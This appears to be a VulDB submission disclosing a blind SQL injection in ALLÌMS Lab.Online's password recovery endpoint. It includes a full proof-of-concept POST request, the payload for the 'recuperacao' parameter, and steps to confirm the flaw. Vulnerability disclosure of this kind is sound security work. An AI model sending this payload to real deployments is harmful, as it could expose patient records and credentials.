| 标题 | Allims Lab.Online Latest SQL Injection With High Privileges |
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| 描述 | Product: Lab.Online
Vendor: ALLÌMS (https://www.allims.com.br/allims-lab-online/)
Vulnerability Type: SQL Injection (Boolean-Based Blind)
Affected Endpoint: /model/model_recuperar_senha.php (POST request)
Vulnerable Parameter: recuperacao
Severity: Critical
A critical SQL injection vulnerability (with high privileges) was identified in Lab.Online, a widely used laboratory management system developed by ALLÌMS. The vulnerability resides in the password recovery function, where the recuperacao parameter is improperly sanitized, allowing attackers to manipulate the SQL query structure. This flaw can be exploited to extract sensitive data, bypass authentication, or achieve full database compromise.
Proof of Concept (PoC):
http://x.x.x.x/
POST /model/model_recuperar_senha.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://x.x.x.x/
Cookie: PHPSESSID=eq502tqahlboq5g517deke9e77
Content-Length: 59
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Host: x.x.x.x
Connection: Keep-alive
&recuperacao=-1'%20OR%203*2*1=6%20AND%2000018=00018%20--%20
Exploitation Details:
- The SQL injection is Boolean-Based Blind, meaning it alters the database query logic and observes the application's response to infer data.
- The payload -1' OR 3*2*1=6 AND 00018=00018 -- ensures a true condition is always met.
- Modifying 3*2*1=6 to an incorrect statement (e.g., 3*2*1=7) can confirm the injection vulnerability.
Impact:
- An attacker can exploit this vulnerability to:
- Bypass authentication, gaining unauthorized access to sensitive data.
- Extract database information, including user credentials, medical records, and administrative data.
- Alter database contents, leading to data manipulation or deletion.
- Compromise the entire system, potentially using the vulnerability for further privilege escalation. |
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| 来源 | ⚠️ https://www.allims.com.br/allims-lab-online/ |
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| 用户 | Stux (UID 40142) |
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| 提交 | 2025-02-01 16時46分 (2 年前) |
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| 管理 | 2025-02-10 08時53分 (9 days later) |
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| 状态 | 已接受 |
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| VulDB条目 | 295061 [Allims lab.online 直到 20250201 model_recuperar_senha.php recuperacao SQL注入] |
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| 积分 | 20 |
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